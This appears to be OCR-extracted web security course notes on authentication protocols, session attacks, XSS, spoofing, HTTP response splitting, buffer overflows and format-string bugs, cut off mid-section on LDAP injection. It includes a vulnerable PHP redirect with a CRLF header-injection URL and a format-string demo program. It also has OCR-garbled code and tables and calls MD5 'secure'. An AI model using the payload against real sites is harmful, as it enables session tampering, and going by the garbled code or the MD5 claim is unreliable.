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Introduction:

In software engineering, a web application is an application delivered to users from a web server over a
network such as the internet or an intranet. Web applications are popular due to the ubiquity of the web
browser as a client, sometimes called a thin client.

The ability to update and maintain web applications without distributing and installing software on
potentially thousands of client computers is a key reason for their popularity.

Web applications are used to implement web mail, online retail sales, online auctions, discussion boards,
weblogs, and perform many other functions.

So in today’s’ cyber world security of these web application is most critical and demanding. Web application
security must be addressed across the tiers and at multiple layers of networking.

A weakness in any tier or layer makes your web application vulnerable to attack. The solution to Web
application security is more than technology. It is an ongoing process involving people and practices. Web
Security is the process of making the transactions and the data distributed over Internet, secure. In other
words, it is the process of making activities that are carried out over a network, secure.

This course will introduce Web application security, explains common security terminology and presents a
set of proven security principles.

Foundations of Web Application Security:

Security is the quality of being secure and web Security relies foremost on the following elements:
Authentication:

Authentication addresses the question: who are you? It is the process of uniquely identifying the clients of
your applications and services. These might be end users, other services, processes, or computers. In security
parlance, authenticated clients are referred to as principals.

Authorization:

Authorization addresses the question: what can you do? It is the process that governs the resources and
operations that the authenticated client is permitted to access. Resources include files, databases, tables,
rows, and so on, together with system-level resources such as registry keys and configuration data.
Operations include performing transactions such as purchasing a product, transferring money from one
account to another, or increasing a customer's credit rating.

Auditing:

Effective auditing and logging is the key to non-repudiation. Non-repudiation guarantees that a user cannot
deny performing an operation or initiating a transaction. For example, in an e-commerce system, non-
repudiation mechanisms are required to make sure that a consumer cannot deny ordering 100 copies of a
particular book.



Confidentiality:

Confidentiality, also referred to as privacy, is the process of making sure that data remains private and
confidential, and that it cannot be viewed by unauthorized users or eavesdroppers who monitor the flow of
traffic across a network. Encryption is frequently used to enforce confidentiality. Access control lists (ACLs)
are another means of enforcing confidentiality.

Integrity:

Integrity is the guarantee that data is protected from accidental or deliberate (malicious) modification. Like
privacy, integrity is a key concern, particularly for data passed across networks. Integrity for data in transit
is typically provided by using hashing techniques and message authentication codes.

Availability:

From a security perspective, availability means that systems remain available for legitimate users. The
goal for many attackers with denial of service attacks is to crash an application or to make sure that it is
sufficiently overwhelmed so that other users cannot access the application.

Authentication:

Authentication is a fundamental aspect of system security. It confirms the identity of any user trying to log
on to a domain or access network resources pr in other way Authentication is the technique by which a
process verifies that its communication partner is who it is supposed to be and not an imposter.

Confusion about authorization and authentication: Authentication deals with the question of whether or
not you are actually communicating with a specific process. Authorization is concerned with that process
is permitted to do.

For example S client process contacts a files server and says: I’'m a Joe’s process and I want to delete the
file movie.old. From the file server’s point of view, two questions must be answered?

1. Is this actually Joe’ S Process ( authentication)
2. IsJoe allowed to delete the moive.old ( authorization)

Only after both questions have been unambiguously answered in the affirmative can request action take

place. The former question is really the key one. Once the file server knows whom it is talking to checking
authorization is just a matter of looking up the entries in local tables.

Major Types of Authentication protocols:

e EAP

e CHAP

e PAP

e TACACS

e TACACS+

e [EEE 802.1x



e Radius
e Kerberos

e Message Digest (5th version) - MDS5.



1. EAP (Extensible Authentication Protocol):

Extensible Authentication Protocol (EAP) is key for protecting the security of wireless (802.1x) LANS,
wired LANs and dial-up and Virtual Private Networks (VPNs). EAP does not decide on a specific
authentication mechanism at the link control phase, but rather postpones this until the authentication
phase. This allows the authenticator to request more information before determining the specific
authentication mechanism. This also permits the use of a back-end server, which implements the various
mechanisms while the PPP authenticator just passes through the authentication exchange.

2. CHAP (Challenge Handshake Authentication Protocol):

Short for Challenge Handshake Authentication Protocol, a type of authentication in which the
authentication agent (typically a network server) sends the client a random value that is used only once
and an ID value (challenge). Both the sender and peer share a predefined secret.

This protocol is used by ISPs to authenticate their clients. In this scheme, a value is sent to the client (the
machine who connects), the client calculates a hash from this value which it sends to the server and the
server compares the hash with the one it has calculated. If the value matches, then it allows the client to
access the network. CHAP is a more secured protocol.

3. PAP (Password Authentication Protocol):

Password Authentication Protocol is a security authentication protocol used with PPP (Point to Point
Protocol, An Internet protocol for connecting computers over a serial line). PAP is the most basic form
of authentication for logging into a network. A user's name and password are transmitted over a network
and compared to a table of name-password pairs. IT is a non-secure authentication scheme to validate
the identity of the originator of the connection. An ID and password (requested by the remote access
server) is transmitted in the clear from the originator (client). This two-way handshake results in link
success or failure (termination). Contrast to CHAP.

4. TACACS (Terminal Access Controller Access Control System)

(TACACS): TACACS is a protocol for authenticating users, attempting to gain access to servers,
networks and remote-access servers. Since TACACS is an unencrypted protocol, it is less secure than
the latest TACACS+ and RADIUS protocols.

A TACACS server supports only the basic password exchanges that PAP uses; it does not support CHAP.
TACACS is commonly used in UNIX networks.



5. TACACS (Terminal Access Controller Access Control System+):

TACACS+ is a superior version of TACACS and it gives more reliable services. TACACS+ and
RADIUS ease the burden of managing enterprise remote-access services. These systems provide a suite
of services, including user authentication, authorization and usage accounting, collectively known as
AAA.

The TACACS+ protocol was designed to allow effective communication of AAA information between
NAS's and a central server. It uses TCP for reliable connections between clients and servers. TACACS+
is a completely new protocol and is therefore not compatible with TACACS or XTACACS.

6. IEEES802.1x:

IEEE 802.1X is an IEEE (Institute of Electrical and Electronics Engineers) standard for port-based
network access control, part of the IEEE 802 (802.1) group of protocols. It provides authentication to
devices attached to a LAN port, establishing a point-to-point connection or preventing access from that
port if authentication fails. It is often used for wireless access points, and is based on the EAP, Extensible
Authentication Protocol (RFC 2284).

IEEE 802.1x provides an effective framework for authentication. It requires entities to play three roles
in the authentication process, namely,

1. Supplicant (a client device - usually a PC or Laptop with 802.1X client loaded),

2. Authenticator (device with 802.1x support - Usually a LAN switch with 802.1x support or a Access
point with 802.1x support)

3. Authentication Server (Radius/TACACS server).
7. RADIUS (Remote Authentication Dial-In User Service):

RADIUS stands for Remote Authentication Dial-In User Service. RADIUS is a widely used protocol
in network environments for Authentication.

There are three specifications that make up the RADIUS protocol suite:

e Authorization,
e Authentication
e and Accounting.

These specifications objective to centralize authentication, authorization, configuration and
accounting for dial-in services to an independent server. RADIUS allows a company to maintain user
profiles in a central database that all remote servers can share. It provides better security, allowing a
company to set up a policy that can be applied at a single administered network point. Having a central
service also means that it's easier to track usage for billing and keeping network statistics.



KERBEROS:

Kerberos is a network authentication protocol developed at the Massachusetts Institute of Technology
(MIT).

Kerberos is an Internet Engineering Task Force (IETF) standard for providing authentication.
Kerberos works by having a central server grant a "ticket" honoured by all networked nodes running
Kerberos. In short It is a security system based on symmetric key cryptography.

It is designed to provide strong authentication for client/server applications by using secret-key
cryptography. Once the user is authenticated, the server issues a "ticket" to allow the client to make a
valid request for the services (eg., e-mail, printing services etc). The core of Kerberos architecture is the
KDC (Key Distribution Server). The KDC stores authentication information and uses it to securely
authenticate users and services.It also prevents eavesdropping or replay attacks (recording and retrying
encryption information "snooped" off the network), through support for a variety of data encryption
schemes.

Message Digest (Sth version) - MDS5:

This is a fast and secure algorithm & used in public key encryption. MD5 is frequently used alongside
encryption and authentication software. MDS5 produces a short (typically 16 bytes) checksum of a file.

o Any change to the original file will result in a change to the checksum and thus allow
tampering to be detected without having to compare the full -length files. The MD5
algorithm is intended for digital signature applications, where a large file must be
"compressed" in a secure manner before being encrypted with a private (secret) key under a
public key crypto system like RSA Data Security or PGP.



Threat to Authentication:

This section will discuss the attacks used to circumvent or exploit the authentication process of web
applications.

(A) Brute Force or Dictionary Attack

In computer science, a brute-force consists of systematically enumerating every possible solution of a
problem until a solution is found, or all possible solutions have been exhausted. For example, an anagram
problem can be solved by enumerating all possible combinations of words with the same number of letters
as the desired phrase, and checking one by one whether the words make a valid anagram.

In web applications a Brute Force attack is an automated process of trial and error used to guess a person’s
username, password, credit-card number or cryptographic key. many systems will allow the use of weak
passwords or cryptographic keys, and users will often choose easy to guess passwords, possibly found in a
dictionary.

Given this scenario, an attacker would cycle though the dictionary word by word, generating thousands or
potentially millions of incorrect guesses search for the valid password. When a guessed password allows
access to the system, the brute force attack has been successful and the attacker is able access the account.
The same trial and error technique is also applicable to guessing encryption keys. When a web
application uses a weak or small key size, it’s possible for an attacker to guess a correct key by testing
all possible keys.

Broadly there are two types of brute force attacks:

Normal brute force: A normal brute force attack uses a single username against many passwords.

Reverse brute force: A reverse brute force attack uses many usernames against one password. In systems
with millions of user accounts, the odds of multiple users having the same password dramatically increases.

While brute force techniques are highly popular and often successful, they can take hours, weeks or
years to complete.



(B) Insufficient Authentication (“Security through Obscurity”)

Insufficient Authentication go on when a web site permits an attacker to access sensitive content or
functionality without having to properly authenticate. Web-based administration tools are a good example
of web sites providing access to sensitive functionality. Depending on the specific online resource, these
web applications should not be directly accessible without the user required to properly verify their identity.

To get around setting up authentication, some resources are protected by "hiding" the specific location and
not linking the location into the main web site or other public places. However, this approach is nothing
more than "Security Through Obscurity". Its vital to understand that simply because a resource is
unknown to an attacker, it still remains accessible directly through a specific URL. The specific URL could
be discovered through a Brute Force probing for common file and directory locations (/admin for example),
error messages, referrer logs, or perhaps documented in help files. These resources, whether they are content
or functionality driven, should be adequately protected.

Example:

Many web applications have been designed with administrative functionality location directory off the root
directory (/admin/). This directory is usually never linked to anywhere on the web site, but can still be
accessed using a standard web browser. Since the user or developer never expected anyone to view this page
since its not linked, adding authentication is many times overlooked. If an attacker were to simply visit this
page, they would obtain complete administrative access to the web site.

(C) Weak Password Recovery Validation

The Authentication covers attacks that target a web site’s or web application method of validating the
uniqueness of a user, service or application. Authentication is performed using at least one of three
mechanisms:

e Something you have
e Something you know
e Something you are

Weak Password Recovery Validation is when a web site or web application allow an attacker to illegally
obtain, change or recover another user’s password. Conventional web site authentication methods require
users to select and remember a password or pass phrase. The user should be the only person that knows the
password and it must be remembered precisely. As time passes, a user’s ability to remember a password
fades. The matter is further complicated when the average user visits 20 sites requiring them to supply a
password.

Examples of automated password recovery processes include requiring the user to answer a “secret question”
defined as part of the user registration process. This question can either be selected from a list of canned
questions or supplied by the user. Another mechanism in use is having the user provide a “hint” during
registration that will help the user remember his password. Other mechanisms require the user to provide
several pieces of personal data such as their social security number, home address, zip code etc. to validate
their identity. After the user has proven who they are, the recovery system will display or e-mail them a new
password.



A web site is considered to have Weak Password Recovery Validation when an attacker is able to foil the
recovery mechanism being used. This happens when the information required to validate a user’s identity
for recovery is either easily guessed or can be circumvented. Password recovery systems may be
compromised through the use of brute force attacks, inherent system weaknesses, or easily guessed secret
questions.

(E) Information Verification

some websites only needs the email address in combination with their home address and telephone number.
This information can be easily obtained from any number of online white pages or even through searching
on Google. As a result, the verification information is not much undisclosed. Further, the information can
be compromised via other methods such as Cross-site Scripting and Phishing Scams.

(F) Password Hints

As we all knows that most of websites has the alternate for the missing password is hints to help for
reminding or recovering of the passwords (You must have seen the forgot password link on email portals
like yahoo, hotmail). It can be easily source for the attack because the hint gives support to Brute Force
attacks. A user may have fairly good password of “1980tom” with a corresponding password hint of
“birthday+ pet name”. An attacker can assemble from this hint that the user’s password is a combination of
the user’s birthday and the user’s pet name. This helps thins the dictionary Brute Force attack against the
password significantly.

(G) Secret Question and Answer

This is also a very practical and common loop hole in password security, Even you may have tried this some
time in your life also. A user’s password could be “California” with a secret question of” where you live”.
An attacker could then limit a secret answer Brute Force attack to city names. Moreover, if the attacker
knows a little about the target user, learning their living place is also an straightforward task.



AAA or Triple-A Framework in web security:

Security for service access is one of the primary issues that we attempt to address. Thus, we look at (standard)
systems and protocols for building Authentication, Authorization, and Accounting (AAA) frameworks. First
time AAA Frame work Proposed and submitted by the IETF AAA WG (The Internet Engineering Task
Force AAA work group).

AAA (Authentication, Authorization, Accounting) describes a framework for intelligently controlling access
to network resources, enforcing policies, and providing the information necessary to bill for services.

Normally AAA framework works on mainly its protocols:

e Diameter
e Radius

Diameter, a state-of-the-art AAA protocol designed to meet today's reliability, security and robustness
requirements, and examines Diameter-Mobile IP interactions; and explains

RADIUS (Remote Authentication Dial-In User Services) and its latest extensions; details EAP (Extensible
Authentication Protocol) in-depth, giving a protocol overview, and covering EAP-XXX;

Infrastructure protocols or AAA protocols, which employ one or more authentication Protocols to do AAA.
Any AAA protocol is composed of a number of sub-protocols that define the generic characteristics, e.g.,
the format in which the authentication messages (as defined by the authentication protocol in use) should be
transported, how to route AAA messages, etc. These protocols work towards authenticating and authorizing
users for the basic network connectivity at a public place. The AAA protocol that has been widely deployed
is Remote Access Dial-in User Service (RADIUS).

The main aim of AAA is to provide a range of different user authentication and data encryption options so
that each user can be given the appropriate level of security for their particular applications.



Authorization:

An "authorization" is a right or a permission that is granted to a system entity to access a system resource.
RFC 2989 Network Access AAA Evaluation Criteria defines authorization as;

“The act of determining if a particular right, such as access to some resource, can be granted to the
presenter of a particular credential.”

Clearly there needs to be some assurance that the presenter has the associated rights to obtain that credential.
Looking back at our explanation of identity and authentication, if we seek to authorize access to a resource
based on a user’s identity (his credential) we need to ensure that that user is properly authenticated to the
credential. Furthermore it could be argued that the presenter of the credential should authenticate the
resource he is in fact accessing to complete the chain of trust for the transaction. This is usually referred to
as mutual or bilateral authorization.

The Authorization section covers attacks that target a web site’s method of determining if a user, service, or
application has the necessary permissions to perform a requested action. For example, many web sites should
only allow certain users to access specific content or functionality. Other times a user’s access to other
resources might be restricted.

Techniques, to attack on authorization:

Using these various techniques, an attacker can hoax a web site into increasing their privileges to
protected areas.

1. Session Hijacking

Recording of Session Prediction is a method of hijacking or impersonating a web site user details. Assuming
or guessing the unique value that identifies a particular session or user accomplishes the attack, the
consequences could allow attackers the ability to issue web site requests with the compromised user's
privileges.

Many web sites are intended to authenticate and track a web user when communication is first established.
For this we use the cookies, sessions etc ... To do this, users must prove their identity to the web site,
typically by supplying a username/password (credentials) combination. Rather than passing these
confidential credentials back and forth with each transaction, web sites will generate a unique "session ID"
to identify the user session as authenticated. Subsequent communication between the user and the web site
is tagged with the session ID as "proof" of the authenticated session. If an attacker is able predict or guess
the session ID of another user, fraudulent activity is possible.

Many web sites attempt to generate session IDs using proprietary algorithms. These custom methodologies
might generation session IDs by simply incrementing static numbers. Or there could be more complex

procedures such as factoring in time and other computer specific variables.

The session ID is then stored in a cookie, hidden form-field, or URL. If an attacker can determine the
algorithm used to generate the session ID, an attack can be mounted as follows:

e Attacker connects to the web application acquiring the current session ID.



e Attacker calculates or Brute Forces the next session ID.
e Attacker switches the current value in the cookie/hidden form field/
URL and assumes the identity of the next user.

2. Insufficient Authorization

when a web site grants the access to sensitive data or functionality but for that user should have the increased
access control restrictions which he don’t have right now is called as a Insufficient Authorization. When a
user is authenticated to a web site, it does not necessarily mean that he should have full access to all content
and that functionality should be granted arbitrarily. Authorization procedures are performed after
authentication, enforcing what a user, service or application is permitted to do. Thoughtful restrictions
should govern particular web site activity according to policy. Sensitive portions of a web site may need to
be restricted to everyone expect to perhaps an administrator.

In the past, many web sites have stored administrative content and/or functionality the in hidden directories
such as /admin or /logs. If an attacker was to directly request these directories, he would be allowed access.
He may thus be able to reconfigure the web server, access sensitive information or compromise the web site.

3. Insufficient Session Expiration:

when a web site allow an attacker to reuse old session authorization or session IDs for authorization.
Insufficient Session Expiration increases a web site’s exposure to attacks that steal or impersonate other
users. Since HTTP is a stateless protocol, web sites commonly use session IDs to uniquely identify a user
from request to request. Consequently, each session ID's confidentiality must be maintained in order to
prevent multiple users from accessing the same account. A stolen session ID can be used to view another
user's account or perform a fraudulent transaction.

The lack of proper session expiration may improve the likely success of certain attacks. For example, an
attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack.

Although short session expiration times do not help if a stolen token is immediately used, they will protect
against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared
computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration
could allow an attacker to use the browser's back button to access web pages previously accessed by the
victim. A long expiration time increases an attacker's chance of successfully guessing a valid session ID.
The long length of time increases the number of concurrent and open sessions, which enlarges the pool of
numbers an attacker, might guess.

In a shared computing environment (more than one person has unrestricted physical access to a computer),
Insufficient Session Expiration can be exploited to view another user's web activity. If a web site's logout
function merely sends the victim to the site's home page without ending the session, another user could go
through the browser's page history and view pages accessed by the victim. Since the victim's session ID has
not been expired, the attacker would be able to see the victim's session without being required to supply
authentication credentials.

4. Session Fixation



Session Fixation is an attack practice that forces a user's session ID to an explicit value. Depending on the
functionality of the target web site, a number of techniques can be utilized to “fix” the session ID value.
These techniques range from Cross-site Scripting exploits to peppering the web site with previously made
HTTP requests. After a user's session ID has been fixed, the attacker will wait for them to login. Once the
user does so, the attacker uses the predefined session ID value to assume their online identity. Generally
speaking there are two types of session management systems when it comes to ID values.

The first type is "permissive" systems that allow web browsers to specify any ID. The second type is "strict"

systems that only accept server-side generated values. With permissive systems, arbitrary session IDs are
maintained without contact with the web site. Strict systems require the attacker to maintain the “trap-
session”, with periodic web site contact, preventing inactivity timeouts. Without active protection against
session fixation, the attack can be mounted against any web site using sessions to identify authenticated
users. Web sites using sessions IDs are normally cookie-based, but URLs and hidden form-fields are used
as well. Unfortunately, cookie-based sessions are the easiest to attack. Most of the currently identified attack
methods are aimed toward the fixation of cookies.

In contrast to stealing a user's session ID after they have logged into a web site, session fixation provides a
much wider window of opportunity. The active part of the attack takes place before the user logs in.

The session fixation attack is normally a three step process:

1) Session set-up

The attacker sets up a "trap-session" for the target web site and obtains that session's ID. Or, the attacker
may select an arbitrary session ID used in the attack. In some cases, the established trap session value must
be maintained (kept alive) with repeated web site contact.

2) Session fixation
The attacker introduces the trap session value into the user's browser and fixes the user’s session ID.

3) Session entrance
The attacker waits until the user logs into the target web site. When the user does so, the fixed session ID
value will be used and the attacker may take over.

Fixing a user’s session ID value can be achieved with the following techniques:
Issuing a new session ID cookie value using a client-side script

A Cross-site Scripting vulnerability present on any web site in the domain can be used to modify the
current cookie value.



Client-side Attacks: Cross-site Scripting (XSS)

Web applications often make the use of client side scripting languages like java script VB scripts into web
pages to support dynamic client-side behavior. This script code is executed in the context of the user’s web
browser. To protect the user’s environment from malicious script code, a sandboxing mechanism
(Sandboxing is a popular technique for creating confined execution environments, which could be used for
running un-trusted programs. A sandbox limits, or reduces, the level of access its applications have —it is a
container.) is used that limits a program to access only resources associated with its origin site.

Unfortunately, these security mechanisms fail if a user can be lured into downloading malicious Script code
from an intermediate, trusted site. In this case, the malicious script is granted full access to all resources
(e.g., authentication tokens and cookies) that belong to the trusted site. Such attacks are called cross-site
scripting (XSS) attacks.

Cross-site Scripting (XSS) is an attack technique that forces a web site to echo attacker-supplied executable
code, which loads in a user’s browser. The code itself is usually written in HTML/JavaScript, but may also
extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.

When an attacker gets a user’s browser to execute his code, the code will run within the security context of
the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any
sensitive data accessible by the browser. A Cross-site Scripted user could have his account hijacked (cookie
theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the
web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between
a user and the web site.

Threats of Cross Site Scripting:

Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to
fool a user in order to gather data from them. Everything from account hijacking, changing of user settings,
cookie theft/poisoning, or false advertising is possible. Now a days we can see the new malicious uses are
being found every day for XSS attacks:

There are two types of Cross-site Scripting attacks

e Non-Persistent or reflected vulnerability Attacks
e Persistent or second-order vulnerability Attacks

Non-Persistent or reflected vulnerability Attacks

This kind of cross site scripting hole is also referred to as a non-persistent or reflected vulnerability, and is
by far the most common type. These holes show up when data provided by a web client is used immediately
by server-side scripts to generate a page of results for that user. If invalidated user supplied data is included
in the resulting page without HTML quoting, this will allow client-side code to be injected into the dynamic
page. A classic example of this is in site search engines: if one searches for a string which includes some
HTML special characters, often the search string will be redisplayed on the result page to indicate what was



searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of
the search terms aren't HTML quoted, a XSS hole will result.

At first blush, this doesn't appear to be a serious problem since users can only inject code into their own
pages. However, with a small amount of social engineering, an attacker could convince a user to follow a
malicious URL which injects code into the results page, giving the attacker full access to that page's content.
Due to the general requirement of the use of some social engineering in this many programmers have
disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in
general (even though this is only one type of XSS) and there is often disagreement in the security community
as to the importance of cross site scripting vulnerabilities..

Persistent or second-order vulnerability Attacks

XSS vulnerability is also referred to as a stored or persistent or second-order vulnerability and it allows the
most powerful kinds of attacks. This XSS vulnerability exists when data provided to a web application by a
user is first stored persistently on the server (in a database, file system, or other location), and later displayed
to users in a web page without being HTML quoted. A classic example of this is with online message boards,
where users are allowed to post HTML formatted messages for other users to read. These vulnerabilities are
usually more significant than other type because an attacker can inject script just once, and could potentially
hit a large number of other users with little need for social engineering. The methods of injection can vary a
great deal, and an attacker may not need to use the web application itself to exploit such a hole. Any data
received by the web application (via email, system logs, etc) that can be controlled by an attacker must be
quoted prior to re-display in a dynamic page, else a XSS vulnerability of this type could result.

Examples of an attacker’s favorite targets often include message board posts, web mail messages, and web
chat software. The unsuspecting user is not required to click on any link, just simply view the web page
containing the code.



1. Client-side Attacks: Spoofing

Spoofing" is an attempt to gain access to a system by posing as an authorized user. Synonymous with
impersonating, masquerading or mimicking.

Spoof Sites: when we use the web, our browser sends requests to web servers based on the domain name of
the server, e.g. ebay.com. Browsers usually display the domain name, we part of the "address’ or "location’
of the page, e.g. the joe homepage address of http://www.joe.com. Attackers can easily own any unallocated
domain name — often confusingly similar to the "correct' domain names, e.g. joeonline.com. Attackers have
essentially complete control over the content of the page, so it may display the name and logo of say about
Joe— without Joe’s authorization. Attackers can also select any prefix to the domain name, e.g. if attacker
owns bkupl.com, then he can use e.g. joe.bkupl.com. Such sites, that try to appear as belonging to some
organization or company without authorization, are called spoofed sites.

In other words, attacker creates misleading context in order to trick the victim into making an inappropriate
security-relevant decision.

People using computer systems often make security-relevant decisions based on contextual cues they see.
For example, you might decide to type in your bank account number because you believe you are visiting
your bank's Web page. This belief might arise because the page has a familiar look, because the bank's URL
appears in the browser's location line, or for some other reason.

Webpage spoofing," also known as phishing. In this attack, a web page is replicated in "look and feel" to
another server but is owned and operated by someone else. It is intended to fool someone into thinking that
they are connected to a trusted site.

Typically, a bank's log-in page might be spoofed by a crook. The crook then harvests the user names and
passwords. This attack is often performed with the aid of DNS cache poisoning in order to direct the user
away from the legitimate site and into the false one. Once the user puts in their password, the attack-code
reports a password error, and then redirects the user back to the legitimate site.

Content Spoofing: is an attack technique used to trick a user into believing that certain
content appearing on a web site is legitimate and not from an external source.

2. Client-side Attacks: HTTP Response Splitting

HTTP Response splitting is a modern form of web application vulnerability. It can be used to perform Cross
site scripting attacks, Cross user defacement, Web cache poisoning and similar exploits.

In this Attack at least these three parties always involved:

e Web server

e Target - an entity that act together with the web server perhaps on behalf of the attacker. Usually this
is a cache server (forward/reverse proxy), or a may be browser (possibly with a browser cache).

e Attacker — set off the attack



HTTP Response splitting is when you inject headers into the normal response sent by a server. A normal
http request consists of a "Request" , "Response" between client and server respectively. HTTP Response
splitting is an error in the user input sanitization that allows an attacker to change the response that the server
sends to the client.

In its straightforward form consider a PHP redirect on page redir.php.

<9

header("Location: goto.php?id=".$ GET['id'] );
>

In this case you can send the URL: redir.php?id=0d%0aSet-Cookie%3 Asome%3Dvalue this will cause the
server to set a cookie on the clients machine.

With HTTP Response splitting mechanism these kinds of attacks can be accumulate:

Cross-Site Scripting (XSS):

Web Cache poisoning (defacement): In this defacement takes place where a cache is poisoned
which is used by multiple users, thus making them think the site has been defaced, or that the site
they are seeing is the genuine site when its not. In this case the attacker uses a proxy server etc and
calls the vulnerable page using it to fool the cache into caching the second server response over which
the attacker as complete control thus making the website defaced for anyone who uses or shares that
cache server or proxy server. Uses for such an attack would vary vastly, some being: Defacement as
it causes everyone who uses that cache or proxy to see the website as defaced.

Browser cache poisoning: This is analogous to XSS, the only difference being that the attacker
forces the browser to cache the web page thus forming a long lasting defacement till the browser's
cache has been empty or cleaned.

Cross User attacks: It is a short-term defacement where the website, may looked defaced to a
particular user. This is used in cases of information, id, or password theft. This enables an attacker
to make the website look defaced to a particular single user, thus allowing the attacker to steal session
data, cookies. It also allows the attacker to lift login information by forging a fake login screen for
the website, thus allowing account compromise.

Hijacking pages with user-specific information: This permits user access to sensitive information,
which could be confidential or not normally accessible to the user. With this the attacker can receive
the server’s response to the client allowing sensitive data from the server to the client to be stolen by
the attacker.

Command Execution



When we send some inputs (remote commands) to web applications on internet to fulfill requests. Often
these user-supplied requests (data) are used to create and the construct commands resulting in dynamic web
page content. If this process is done insecurely, an attacker could alter command execution.
These are the major vulnerability of Command execution:

e Buffer Overflow

e Format String Attack

e LDAP Injection

¢ OS Commanding

e SQL Injection

e SSI Injection

e XPath Injection

1. Buffer Overflow

In computer security and application programming, a buffer overflow is an anomalous condition where a
process attempts to store more data in a buffer than there is memory allocated for it, causing the extra data
to overwrite adjacent memory locations. The overwritten data may include other buffers, variables and
program flow data.

Buffer overflows can cause a process to crash or produce incorrect results. They can be triggered by specially
crafted input which may be designed to execute arbitrary, possibly malicious, code, or to make the program
operate in an unintended way. As such, buffer overflows cause many vulnerabilities.

Basic example

In the following example, a program has defined two data items which are adjacent in memory: an 8-byte-
long string buffer, A, and a two-byte integer, B. Initially, A contains nothing but zero bytes, and B contains
the number 3. Characters are one byte wide.

A A A A A A A A B B
0 0 0 0 0 0 0 0 0 3

Now, the program attempts to store the character string "excessive" in the A buffer, followed by a zero byte
to mark the end of the string. By not checking the length of the string, it overwrites the value of B:

A A A A A A A A B B

140 1! (PN} 140 14! 140 (M [} '

€ X c e S S 1 \% € 0




Although the programmer did not intend to change B at all, B's value has now been replaced by a number
formed from part of the character string. (In this example, on a big-endian system that uses ASCII, 'e'
followed by a zero byte becomes the number 25856.)

If B was the only other variable data item defined by the program, writing an even longer string that went
past the end of B could cause an error such as a segmentation fault, terminating the process.

Buffer overflows on the stack

Besides changing the values of unrelated variables, a buffer overflow can cause actions that the programming
language would normally never allow. This most often happens when the buffer is on the stack, a storage
area onto which data is temporarily "pushed" during the execution of a function. Typically, when a function
begins executing, additional memory is allocated at the "top" of the stack to provide storage space for any
temporary data items that the function will use. In this example, "X" is data that was on the stack when the
program began executing; the program then called a function "Y", which required a small amount of storage
of its own; and "Y" then called "Z", which required a large buffer:

Z Z Z Z Z Z Y X X X
/ / /

If the function Z caused a buffer overflow, it could overwrite data that belonged to function Y or to the main
program:

Z Z Z Z Z Z Y X X X
/ /

This is particularly serious because on most systems, the stack also holds the return address, that is, the
location of the part of the program that was executing before the current function was called. When the
function ends, the temporary storage is removed from the stack, and execution is transferred back to the
return address. If, however, the return address has been overwritten by a buffer overflow, it will now point
to some other location. In the case of an accidental buffer overflow as in the first example, this will almost
certainly be an invalid location, not containing any program instructions, and the process will crash.

In concern with web application security a buffer overflow is a condition where poor input handling in a
application results in the ability to inject attack code into specific memory locations. This code runs in the
security context of the host application, which sometimes results in having privileges of the powerful System
account. Although they require above-average skill to execute, buffer overflow attacks are attractive to
hackers because they allow remote code execution. And since exploit tools are often available to automate
the overflow, buffer overflow attacks can be widespread.

Note that buffer overflows can also cause the application to crash, putting them also in the category of denial
of service attacks.

Buffer Overflows vulnerabilities are most common in C and C++. A Buffer Overflow can also occur in a
CGI program or when a web page accesses a C program through some scripts.



2. Format String Attack

Format string attacks are a class of vulnerabilities discovered in June 2000. Format string attacks can be
used to crash a program or to execute harmful code. The problem stems from the use of unfiltered user input
as the format string parameter in certain C functions that perform formatting, such as printf(). A malicious
user may use the %s and %x format tokens, among others, to print data from the stack or possibly other
locations in memory.

One may also write arbitrary data to arbitrary locations using the %n format token, which commands printf()
and similar functions to write back the number of bytes formatted to an argument of type int *. By
manipulating the stack by using spurious format tokens, this argument can be faked as part of the format
string or possibly other user input.

Format string bugs most commonly appear when a programmer wishes to print a string containing user
supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first
version interprets buffer as a format string, and parses any formatting instructions it may contain.

The second version simply prints a string to the screen, as the programmer intended. Format bugs arise
because C's argument passing conventions are type-unsafe. In particular, the varargs mechanism allows
functions to accept any number of arguments (e.g. printf) by "popping" as many arguments off the call stack
as they wish, trusting the early arguments to indicate how many additional arguments are to be popped, and
of what types.



Example:

This example will show the basic principles of this attack.

/*

* fmtme.c

* Format a value into a fixed-size buffer
*/

#include <stdio.h>

int

main(int argc, char **argv)

S

1

char buf[100];

int x;

if(arge !=2)

exit(1);

x=1;

snprintf(buf, sizeof buf, argv[1]);
buf[sizeof buf - 1] = 0;

printf("buffer (%d): %s\n", strlen(buf), buf);
printf("x is %d/%#x (@ %p)\n", X, X, &X);

return O;

1
f

In this example A value passed on the command line is formatted into a fixed-length buffer. Care is taken to
make sure the buffer limits are not exceeded. After the buffer is formatted, it is output. In addition to
formatting the argument, a second integer value is set and later output.

This variable will be used as the target of attacks later. For now, it should be noted that its value should
always be one. The actual numbers used here will vary from system to system with differences in
architecture, operating system, environment and even command line length.

3. LDAP Injection

Lightweight Directory Access Protocol (LDAP) is a broadly used network protocol for accessing
information in the directory. LDAP is a networking protocol for querying and modifying directory services
running over TCP/IP. An LDAP directory usually follows the X.500 model: (X.500 is a series of computer
networking standards covering electronic directory services) It is a tree of entries, each of which consists
of a set of named attributes with values. While some services use a more complicated "forest" model, the
vast majority use a simple starting point for their database organization.

An LDAP directory often reflects a variety of political, geographic, and/or organizational boundaries,
depending on the model chosen. LDAP deployments today tend to use Domain Name System (DNS) names
for structuring the simplest levels of the hierarchy. Further into the directory might appear entries
representing people, organizational units, printers, documents, groups of people or anything else which
represents a given tree entry, or multiple entries.



In context of web applications; it is a technique of exploiting web applications that use client-supplied data
in LDAP statements without first stripping potentially risky characters from the request. It is an open-
standard Binary Protocol for both querying and manipulating X.500 directory services. IT runs over Internet
transport protocols, such as TCP and other networking protocols.

Web applications can use the user-supplied input to create custom LDAP statements for dynamic webpage
requests. When a web application fails to properly clean user-supplied input, it is possible for an attacker to
alter the construction of an LDAP statement. When an attacker is able to modify an LDAP statement, the
process will run with the same permissions as the component that executed the command. (E.g. Database
